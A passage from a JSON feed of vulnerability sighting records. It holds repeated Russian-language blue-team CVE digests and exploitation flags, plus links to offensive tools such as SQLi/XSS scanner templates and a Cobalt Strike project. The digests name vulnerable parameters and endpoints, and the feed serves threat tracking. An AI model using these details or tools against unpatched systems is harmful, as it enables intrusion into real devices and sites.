\u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:16.328102Z"}, {"uuid": "72ccd6ac-ef2d-44b2-a0e9-cbfeb015a3e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/purp_sec/516", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2024-56406 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Perl, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0435\u0435 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 tr/// \u0441 \u043d\u0435-ASCII \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043d\u0430 \u043b\u0435\u0432\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435. \u041c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a segmentation fault \u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445.\n\n\ud83d\udd35 CVE-2024-58136 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 PHP-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Yii 2, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\u200b \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 'as behaviorName' => [...] \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 \u0438\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441 \u043a\u043b\u044e\u0447\u043e\u043c __class, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 PHP-\u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 \u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.\n\n\ud83d\udd35 CVE-2025-24797 \u2014 \u0431\u0430\u0433 \u0432 Meshtastic. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 mesh-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 protobuf. \u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u0438\u0440\u0443\u044e\u0442 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\ud83d\udd35 CVE-2025-3102 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 SureTriggers: All-in-One Automation Platform \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 secret_key \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 autheticate_user.\n\n\ud83d\udd35 CVE-2025-3579 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Aidex. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 /api//message endpoint.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:18.011109Z"}, {"uuid": "3910617a-977f-43a8-b849-464d9c57ffc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-13)", "content": "", "creation_timestamp": "2026-06-13T00:00:00.000000Z"}, {"uuid": "df96f8e3-023a-4a81-9922-8e73d5f5b4b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/purp_sec/614", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-47188 (Command Injection) \u0438 CVE-2025-47187 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Mitel SIP \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446-\u0441\u0432\u044f\u0437\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\ud83d\udd35 CVE-2024-26809 \u2014 \u0431\u0430\u0433 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 nftables \u044f\u0434\u0440\u0430 Linux, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root) \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u044f\u0434\u0440\u0430.\n\n\ud83d\udd35 CVE-2025-24797 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Meshtastic, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2025-28137 \u2014 \u0431\u0430\u0433 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 TOTOLINK A810R, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NoticeUrl \u0444\u0443\u043d\u043a\u0446\u0438\u0438 setNoticeCfg, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u041e\u0421.\n\n\ud83d\udd35 CVE-2025-1782 \u2014 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 HylaFAX Enterprise \u0438 AvantFAX. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 language \u0432 \u0444\u043e\u0440\u043c\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2025-2567 \u2014 \u0431\u0430\u0433 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Lantronix, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:06.535960Z"}, {"uuid": "7841c49f-8284-4730-acb1-c265eaa258aa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d89210d7-a8cc-4f03-9e6d-79c6f019e5d1", "content": "", "creation_timestamp": "2026-06-19T12:46:08.231649Z"}, {"uuid": "492a6ac0-f9bb-4d9c-bcb4-7f1e17fc3df8", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bcb2a740-cd1e-4b31-a300-d211aad58450", "content": "", "creation_timestamp": "2026-06-23T14:03:28.412821Z"}, {"uuid": "73f25a1e-861a-49a9-85a4-b55a79375fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/purp_sec/516", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2024-56406 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Perl, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0435\u0435 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 tr/// \u0441 \u043d\u0435-ASCII \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043d\u0430 \u043b\u0435\u0432\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435. \u041c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a segmentation fault \u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445.\n\n\ud83d\udd35 CVE-2024-58136 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 PHP-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Yii 2, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\u200b \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 'as behaviorName' => [...] \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 \u0438\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441 \u043a\u043b\u044e\u0447\u043e\u043c __class, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 PHP-\u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 \u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.\n\n\ud83d\udd35 CVE-2025-24797 \u2014 \u0431\u0430\u0433 \u0432 Meshtastic. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 mesh-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 protobuf. \u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u0438\u0440\u0443\u044e\u0442 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\ud83d\udd35 CVE-2025-3102 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 SureTriggers: All-in-One Automation Platform \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 secret_key \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 autheticate_user.\n\n\ud83d\udd35 CVE-2025-3579 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Aidex. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 /api//message endpoint.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:37.341302Z"}, {"uuid": "4aa39de0-f6db-4ef5-a63d-d55e9aab2839", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2025-24799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a2d1f55e-f137-4162-bc9a-41dd1ebb1964", "content": "", "creation_timestamp": "2026-06-30T09:23:17.692412Z"}, {"uuid": "5f9d3934-7095-43c0-9483-01fdf8b4e5ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/NinjaSecurity/143", "content": "Unzip the file and use it freely with the templates you choose.\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\nExtracts URLs from OSINT Archives for Security Insights.\nhttps://github.com/hahwul/urx\n\nhttps://github.com/Meowmycks/koneko\n\nRobust Cobalt Strike 